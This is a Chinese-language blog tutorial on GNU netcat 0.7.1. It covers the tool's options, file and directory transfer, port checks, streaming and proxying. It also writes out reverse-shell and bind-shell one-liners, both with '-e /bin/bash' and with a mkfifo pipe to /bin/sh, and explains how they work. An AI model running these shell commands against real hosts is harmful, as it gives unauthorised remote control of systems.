Linux nc 0.7.1 版本命令详解

下载地址:https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1-1.i386.rpm/

或者 

https://sourceforge.net/projects/netcat/files/netcat/0.7.1/

找到适合自己的安装包源码包编译


 

官方帮助

GNU netcat 0.7.1, a rewrite of the famous networking tool.
Basic usages:
connect to somewhere:  nc [options] hostname port [port] ...
listen for inbound:    nc -l -p port [options] [hostname] [port] ...
tunnel to somewhere:   nc -L hostname:port -p port [options]

Mandatory arguments to long options are mandatory for short options too.
Options:
  -c, --close                close connection on EOF from stdin
  -e, --exec=PROGRAM         program to exec after connect
  -g, --gateway=LIST         source-routing hop point[s], up to 8
  -G, --pointer=NUM          source-routing pointer: 4, 8, 12, ...
  -h, --help                 display this help and exit
  -i, --interval=SECS        delay interval for lines sent, ports scanned
  -l, --listen               listen mode, for inbound connects
  -L, --tunnel=ADDRESS:PORT  forward local port to remote address
  -n, --dont-resolve         numeric-only IP addresses, no DNS
  -o, --output=FILE          output hexdump traffic to FILE (implies -x)
  -p, --local-port=NUM       local port number
  -r, --randomize            randomize local and remote ports
  -s, --source=ADDRESS       local source address (ip or hostname)
  -t, --tcp                  TCP mode (default)
  -T, --telnet               answer using TELNET negotiation
  -u, --udp                  UDP mode
  -v, --verbose              verbose (use twice to be more verbose)
  -V, --version              output version information and exit
  -x, --hexdump              hexdump incoming and outgoing traffic
  -w, --wait=SECS            timeout for connects and final net reads
  -z, --zero                 zero-I/O mode (used for scanning)

Remote port number can also be specified as range.  Example: '1-1024'

这个版本跟很多系统自带的版本不一样,普通系统没有-e等选项

不能直接通过 以下命令来监听端口了

nc -l 1234

需要用 -p 参数来指定本地的端口

nc -l -p 12345

跟现在网上的很多文章说的区别还是蛮大的,但是很奇怪就是没有找到新一点的教程.

 -c  <关闭链接> 从标准输出读取结束符号 
 -e  <执行程序> 连接后执行程序
 -g  <网关>  设置路由器跃程通信网关,最丢哦可设置8个。
 -G  <指向器数目>  设置来源路由指向器,其数值为4的倍数。
 -h  在线帮助。
 -i  <延迟秒数>  设置时间间隔,以便传送信息及扫描通信端口。
 -l  使用监听模式,管控传入的资料。
 -n  直接使用IP地址,而不通过域名服务器。
 -o  <输出文件>  指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
 -p  <通信端口>  设置本地主机使用的通信端口。
 -r  乱数指定本地与远端主机的通信端口。
 -s  <来源位址>  设置本地主机送出数据包的IP地址。
 -t  使用TCP链接
 -T  使用TELNET协议
 -u  使用UDP传输协议。
 -v  详细输出--用两个-v可得到更详细的内容
 -V  版本详细信息
 -w  <超时秒数>  设置等待连线的时间。
 -x  输入转出业务
 -z  使用0输入/输出模式,只在扫描通信端口时使用。

其中除了 -x 还没有弄明白是干啥的,其他的基本上都已经有示例了.

发送字符串至相应的主机端口,有些版本不支持 -c 参数,可以去掉

echo exit|nc -c 172.28.1.240 10356

文件传输

nc -l 1567 < file.txt

nc -n 172.31.100.7 1567 > file.txt

查看端口是否开放,用来监控数据库或者其他服务是否启动还是很有用的

nc -z -v -n 172.31.100.7 21-25

当然也可以直接单独用 -z 参数判断返回的值是否正常

 nc -z 172.31.100.7 22
if [[ "$?" != "0" ]];then
 echo "测试未通过!"
fi

目录传输

#服务端
tar -cvf - dir_name | nc -l 1567

#客户端
nc -n 172.31.100.7 1567 | tar -xvf -

流视频

#服务端
cat video.avi | nc -l 1567

#客户端
nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

反向shell

#被控制端
nc 172.28.1.240 10010 -e /bin/bash

#被控制端不支持-e参数
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc 172.28.1.240 10010 > /tmp/tmp_fifo

#控制端
nc -l -p 10010

正向shell

#被控制端(这种形式支持后台运行)
nc -l -p 1567 -e /bin/sh

#控制端
nc  -n 172.28.1.243 1567

#被控制端如果不支持-e参数还可以使用(此种方法经尝试不能后台运行)
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo

这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口1567上。至此,我们已经把netcat的输出重定向到fifo文件中。

说明:

从网络收到的输入写到fifo文件中

cat 命令读取fifo文件并且其内容发送给sh命令

sh命令进程受到输入并把它写回到netcat。

netcat 通过网络发送输出到client

至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。

在控制端仅仅简单连接到服务器


作为代理

cat /tmp/tmp_fifo |nc 172.31.100.7 8080 | nc -l -p 7891 > /tmp/tmp_fifo

这样访问本地的7891端口就是访问对应的IP和端口了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值